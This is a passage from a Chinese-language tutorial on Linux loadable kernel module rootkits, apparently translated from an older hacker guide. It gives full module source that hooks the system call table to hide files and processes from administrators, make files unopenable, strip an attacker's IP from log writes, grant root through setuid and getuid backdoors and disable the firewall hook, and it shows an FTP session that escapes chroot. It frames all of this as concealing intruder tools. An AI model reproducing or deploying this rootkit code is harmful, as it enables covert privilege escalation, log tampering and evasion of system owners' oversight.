编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我 们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:

  • 找到你需要的系统调用在sys_call_table[]中的入口(看看include/sys/syscall.h吧)
  • 保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
  • 将你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是 :
我到底该截获哪个系统调用?

2. 一些有趣的系统调用

你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。
  1. 读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b
  2. 下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c
  3. 一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。
要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。
一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。
最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。我们不能确定这个程序到底是 如何工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并 检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
那我们应该如何继续呢?

2.1 2.1 寻找有趣的系统调用(利用strace)

假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking (见2.9/appendix a),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。

好,现在用strace来运行这个程序(也许你需要root权限来执行他) # strace super_admin_proggy 这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看'strace whoami'的输出:

execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)    = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3)                      = 0
stat("/etc/ld.so.preload", 0xbffff780)  = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY)      = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3)                      = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363)          = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX)            = 0
geteuid()                     = 500
getuid()                      = 500
getgid()                      = 100
getegid()                     = 100
brk(0x804aa48)                  = 0x804aa48
brk(0x804b000)                  = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000)                  = 0x804c000
read(3, "", 4096)                = 0
close(3)                      = 0
munmap(0x40008000, 4096)           = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3)                      = 0
geteuid()                     = 500
open("/etc/passwd", O_RDONLY)        = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3)                      = 0
munmap(0x4000b000, 4096)           = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
write(1, "r00t\n", 5r00t
)             = 5
_exit(0)                      = ?

这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid()                     = 500
getuid()                      = 500
getgid()                      = 100
getegid()                     = 100

可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.

3. 3. 对付系统核心符号表

在II.1 你看到了如何进入由核心符号表export出来的东西,那么考虑一下,我们可以通过我们的模块对任意export出来的项进行操作——函数,结构,变量等等……

所有/proc/ksyms里的东西都可能被利用,但如果没有被export于核心符号表的话就没办法了。下面是我的/proc/ksyms里的一部份,仅仅告诉你能够编辑什么;)

...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
...

我们只看看call_in_firewall吧,这个函数是用来在核心级控制防火墙的,如果我们伪造一个扔进去的话,会发生什么呢?
看看下面的LKM吧 :

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>


/*获取export出来的函数*/
extern int *call_in_firewall;

/*我们自己瞎编的call_in_firewall*/
int new_call_in_firewall()
{
  return 0;
}

int init_module(void)           /*加载*/
{
   call_in_firewall=new_call_in_firewall;
   return 0;
}

void cleanup_module(void)        /*卸载*/
{
}

编译并加载该LKM后,你可以试试ipfwadm -I -a deny,当做完这个以后,你ping 127.0.0.1 试试看,你会发现你的核心发送了一些出错信息,这是由于你调用的call_in_firewall(...)函数已经被伪劣产品取代了;)
当然这是一个很粗暴的杀掉exportd出来的符号表的办法,你可以用gdb来解开某个symbol并且编辑其中的某些代码段,这会更巧妙地实现替代功能,想象有一个IF THEN结构的代码用于exported出来的函数,将其分解并且寻找命令如JNZ, JNE, ... 用这种方法你可以对一些系统调用进行修改,当然,你也可以察看kernel / module的源代码找出函数,但如果symbols是二进制的模块而无又无法获得代码时,如何做就需要好好动脑筋了。

4. 文件系统相关的操作

对我们来说,LKM很重要的一个作用是隐藏某些东西;),比如你的exploits,sniffer以及log等等……

4.1 如何隐藏文件

我们想一下系统管理员是如何找到你的文件的吧——他用ls命令来查找一切感兴趣的东西,其实ls是利用了下面这个系统调用来获得文件及目录列表的。

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

现在我们知道从哪里下手攻击了,下面的代码演示了hacked_getdents调用,这一模块能够将文件隐藏于ls之类利用getents系统调用察看文件的程序后面——也就是说,ls之类的程序看不到你的文件了。

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
  unsigned int tmp, n;
  int t, proc = 0;
  struct inode *dinode;
  struct dirent *dirp2, *dirp3;
  char hide[]="ourtool";                /*我们要隐藏的文件*/

/*调用原来的getdents -> 将结果保存于临时文件tmp */
tmp = (*orig_getdents) (fd, dirp, count);

/*对磁盘缓冲的操作*/
/*这个检查是必须的,因为如果曾经有getdents被调用并且将结果保存缓冲区……*/
#ifdef __LINUX_DCACHE_H
   dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
   dinode = current->files->fd[fd]->f_inode;
#endif

/*dinode是所需的目录的索引结点*/
if (tmp > 0)
{
  /*dirp2是新的dirent结构*/
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  /*将dirent结构拷至dirp2*/
  memcpy_fromfs(dirp2, dirp, tmp);
  /*将dirp3指向dirp2*/
  dirp3 = dirp2;
  t = tmp;
  while (t > 0)
  {
  n = dirp3->d_reclen;
  t -= n;
  /*检查当前文件名是否是我们想要隐藏的名称*/
  if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
  {
   /*如果有必要的话,修改dirent结构*/
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
   tmp -= n;
  }
  if (dirp3->d_reclen == 0)
  {
   /*
    * workaround for some shitty fs drivers that do not properly
    * feature the getdents syscall.
   */
   tmp -= t;
   t = 0;
  }
  if (t != 0)
  dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
}
return tmp;
}

int init_module(void)           /*载入*/
{
  orig_getdents=sys_call_table[SYS_getdents];
  sys_call_table[SYS_getdents]=hacked_getdents;
  return 0;
}

void cleanup_module(void)        /*卸载*/
{
 sys_call_table[SYS_getdents]=orig_getdents;                         
}

对新手来说:读代码及注释,并且思考10分钟,才继续下一单元吧。
这一修改是很实用的,但是要记住系统管理员仍然能够通过直接'cat ourtool' 或者 'ls ourtool' 来察看我们的宝贝文件,所以最好不要用一些常规的名字——象sniffer,mountdxpl.c等等是不好的,当然还有很多方法可以让管理员什么都看不到,继续往下读吧。

4.2 如何隐藏文件列表(完全地)

我未曾在其它地方看到这种方法——虽然在AFHRM(by Michal Zalewski)这个LKM中能够做到控制内容以及删除函数功能,但仍然未能真正隐藏目录,我认为这种技巧有很多人使用,但没人写下来——那么就由我来写吧……

最简单的方法是,截获open调用并且检查文件名是否是ourtool,如果是的话,就拒绝任何open的尝试,所以read/write都不可能实现了,OK,让我们在LKM里实现它吧:

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_open)(const char *pathname, int flag, mode_t mode);


int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";

/*this is old stuff -> transfer to kernel space*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_pathname, pathname, 255);

if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
  kfree(kernel_pathname);
  /*返回一个&#39;file does not exist&#39;的error code*/
  return -ENOENT;
}
else
{
  kfree(kernel_pathname);
  /*没关系,文件名不是ourtool……*/
  return orig_open(pathname, flag, mode);
}
}


int init_module(void)           /*加载*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_open]=orig_open;                          
}

它工作得非常好,会告诉企图存取咱们的文件的家伙——他请求的文件不存在,但如何才能进入这些文件呢,这里有一些方法:

  • 通过密码校验
  • 通过uid或者gid的检查,这需要有一个帐号
  • 检验时间
  • ...

这里可以使用的方法很多,就当作习题让大家自行发挥想象力吧;)

4.3 如何部份地隐藏文件

在上一节里的知识对我们隐藏自己的工具及log是相当有帮助的,但我们要如何编辑管理员或者其它用户的文件呢,想象一下,如 果你想要控制/var/log/messages,让它不显示你的IP或者域名。虽然有无数种后门可以把我们置身于log文件之外,但如何用LKM来过滤 某个文件中所有你想过滤的东西呢——如果我们的IP或者域名出现时,拒绝将它写出来就可以了……下面是一个很基础的LKM,用来验证我们的想法,大家可以 看一看。

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]="127.0.0.1"; /*我们想要隐藏的IP地址*/

kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

memcpy_fromfs(kernel_buf, buf, 999);

if (strstr(kernel_buf, (char*)&hide ) != NULL)
{
  kfree(kernel_buf);
  /*say the program, we have written 1 byte*/
  return 1;
}
else
{
  kfree(kernel_buf);
  return orig_write(fd, buf, count);
}
}

int init_module(void)           /*加载*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_write]=orig_write;                          
}

当然这个LKM也有一些不足,比如它不检查write到哪里去(可以通过检查fd来实现),所以象'echo '127.0.0.1''这样的名令就会被打印出来。
你也可以编辑你想要写入的字符串,比如,你想把某个家伙的IP地址写进去……那么只要是你做坏事,别人cat messages时总看到别人;)

4.4 如何观察/重定向文件操作

这并不是什么新鲜想法了,它是Michal Zalewski首先在他的AFHRM里实现了的,我并不想在这里进行演示了,因为经过上面的几节讲解,你应该能够轻易地自己实现它,通过重定向对文件系统的一些操作,你可以监控很多事情。
  • 写文件,或者拷贝文件内容到另一个文件,这可以由sys_write(...)重定向得到
  • 某人阅读一些敏感文件 -> 可以监视某个文件被读取
    =>这可以由sys_read(...)重定向实现
  • 某人打开文件 -> 我们可以监控打开文件的事件
    =>截断 sys_open(...)并且将打开文件写到logfile里,这就是AFHRM的实现方法(IV.3 有代码)
  • link / unlink 事件 -> 监视所有link的建立
    =>截断sys_link(...) (参见IV.3 的代码)
  • 重命名的事件 -> 监视重命名的发生
    =>截断sys_rename(...) (参见IV.4 的代码)
  • ...
这是非常有趣的,特别是对系统管理员来说,因为你可以在非常隐蔽的情况下监视你的整个系统,同样它对于文件或者目录的建立也是很有趣的,比如我们运行touch或者mkdir来建立文件或目录。

命令touch并不会使用open来建立东西;下面是我对它运行strace所显示的一些东西——经过简化的 :

...
stat("ourtool", 0xbffff798)         = -1 ENOENT (No such file or directory)
creat("ourtool", 0666)            = 3
close(3)                      = 0
_exit(0)                      = ?

你可以看到系统用了sys_creat(..)的系统调用来建立一个新文件,这里也就不提供代码了,因为这相当简单,仅仅是截获sys_creat(...)并且将文件名用printk(...)写到某个记录文件里。
这同样也是AFHRM记录重要事件的方法。

4.5 关于文件所有者(UID)的一些问题

现在所讲述的不仅与文件系统有关,而且更重要的是文件的许可权限的问题。猜猜我们要用截断哪个系统调用? Phrack (plaguez)建议对sys_setuid(...)进行操作来设置UID,也就是说我们设置一个magic UID, 当setuid被用于我们设定的magic UID时,模块就会将UID设为0。

我们来看看他是如何实现的——仅仅展示hacked_setuid系统调用,其它省略了……

...
int hacked_setuid(uid_t uid)
{
   int tmp;
   
   /*我们是否具有这个magic UID (这个在前面定义好了)*/
   if (uid == MAGICUID) {
   /*if so set all UIDs to 0 (SuperUser)*/
  current->uid = 0;
  current->euid = 0;
  current->gid = 0;
  current->egid = 0;
  return 0;
   }
   tmp = (*o_setuid) (uid);
   return tmp;
}
...

下面这个小段子应该也是有一定用处的吧,你可以把它装在一个傻乎乎的系统管理员的主机上——为什么这么说呢,因为这里面我没有实现任何隐藏的功能,仅仅是一个用uid判断来加载rootshell的后门原型而已……

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
   int tmp;
   
   /*检查俺的UID*/
   if (current->uid=500) {
   /*如果是俺进来的话 -> 开门揖盗 -> 送rootshell给我*/
     current->uid = 0;
  current->euid = 0;
  current->gid = 0;
  current->egid = 0;
  return 0;
   }
   tmp = (*orig_getuid) ();
   return tmp;
}


int init_module(void)           /*加载*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_getuid]=orig_getuid;                          
}

这样你在登陆的时候还是用普通用户帐号进入,但一进入就会得到rootshell。

4.6 如何让别人无法存取我们的工具箱目录

对一个黑客来说,他经常会建一个目录来放我们的工具,用getdents的办法可以隐藏文件或者目录,用open的办法可以让我们的文件无法存取,但如何使我们的目录让人无法存取呢?
好 吧,象往常一样,我们看看include/sys/syscall.h吧,这里你需要对付的是SYS_chdir,如果不信的话,你可以strace一下 cd命令——象我上面所做的那样,这里我不给出任何代码来验证了,因为你所要做的仅仅是截获sys_mkdir, 并且做一个字符串的比较,如果是我们的目录的话,就返回一个无此目录的信号,好了,现在可以说我们的文件或者目录对一般的系统管理员来说是够隐蔽的了—— 当然高手或者偏执狂可能会直接从硬盘扫描察看东西,但是现在除了我们,还有谁是偏执狂呢?而且要对付HDD扫描也不是没有办法,毕竟它要通过操作系统,而 操作系统的任何东西都建立在系统调用上;)

4.7 如何改变CHROOT环境

(这就是xundi前几天翻译的东西呀……faint)这个想法是HISPAHACK提出来的,他们发表了一篇很好的文章 "冲破FTP的限制"我在这里简短地把他们的思想表达一下。要明白的是这里的示范并非在所有的环境里都可能实现,要看wuftp的版本号了,这里想展示的是如何利用lkm来实现突破chroot。 我们先来看看下面的目录权限:

drwxr-xr-x    6 user    users    1024 Jun 21 11:26 /home/user/
drwx--x--x    2 root    root     1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):
OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:
当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls, 注意,这个ls一般是受限用户下的/bin/ls程序。
我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。
不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot() 是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。
如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0) 并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。
所以下面描述摆脱chroot()的限制:
就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().
ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。
另 外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。这 里我们要捕获的是sys_chroot(...),HISPAHACK用的办法比较"粗暴";),他们仅仅修改sys_chroot(...) 并返回0表示什么也没做,这样我们就可以开启新的不受chroot限制的进程了也就是说我们可以以 uid=0来访问这个系统了,下面是HISPAHACK的"黑的过程":

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x  5 user          users            1024 Jun 21 11:26 .
drwxr-xr-x  5 user          users            1024 Jun 21 11:26 ..
d--x--x--x  2 root          root             1024 Jun 21 11:26 bin
drwxr-xr-x  2 root          root             1024 Jun 21 11:26 etc
drwxr-xr-x  2 user          users            1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x  5 user          users            1024 Jun 21 11:26 .
drwxr-xr-x  5 user          users            1024 Jun 21 21:26 ..
d--x--x--x  2 root          root             1024 Jun 21 11:26 bin
drwxr-xr-x  2 root          root             1024 Jun 21 11:26 etc
drwxr-xr-x  2 user          users            1024 Jun 21 11:26 home
226 Transfer complete.
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x  1 root          root             138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
ftp> bye
221 Goodbye.
thx:~#

在附录里你可以找到完整的ls命令以及使用的模块。

5. 系统进程相关操作

搞定了文件系统后,似乎应该对进程来玩点儿花样了,现在我们来讨论一下如何用LKM来使ps命令无法正确显示当前的所有进程吧。

5.1 如何隐藏进程

我们每天经常做的一件事就是,把我们的进程更好地藏在系统管理员的眼皮底下,想象一下,如果我们攻克了一个系统,上面是否运行着 sniffer\cracker...,当管理员一运行ps的时候,一切无可遁形,很陈旧的办法是将进程改为一些常见的东西,或者祈祷管理员是个呆子;) 在21世纪,这些方法是太过粗糙了,我们需要的是能够完全隐藏进程的东西,所以让我们先来看看plaguz所实现的吧——我只做了很小的更改:

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*我们想要隐藏的进程名*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*将string转换为数字*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < &#39;0&#39; || *ptr > &#39;9&#39;)
  return (-1);
  res += (*ptr - &#39;0&#39;) * mul;
  mul *= 10;
}
return (res);
}

/*从PID里取得任务列表的结构*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
  if (p->pid == pid)
  return p;
  p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*从任务列表里取得进程的名字*/
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;

name = p->comm;
i = sizeof(p->comm);
do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
  break;
  if (c == &#39;\\&#39;) {
  buf[1] = c;
  buf += 2;
  continue;
  }
  if (c == &#39;\n&#39;) {
  buf[0] = &#39;\\&#39;;
  buf[1] = &#39;n&#39;;
  buf += 2;
  continue;
  }
  buf++;
}
while (i);
*buf = &#39;\n&#39;;
return buf + 1;
}

/*检查这个进程是否是我们想要隐藏的家伙*/
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
  kfree(buffer);
  return 1;
  }
}
return 0;
}

/*从II.4 你可以找到更多关于文件系统的细节,这里不多说*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;

tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
  n = dirp3->d_reclen;
  t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
  if (t != 0)
   memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  else
   dirp3->d_off = 1024;
   tmp -= n;
  }
  if (t != 0)
   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
}
return tmp;
}


int init_module(void)           /*加载*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}

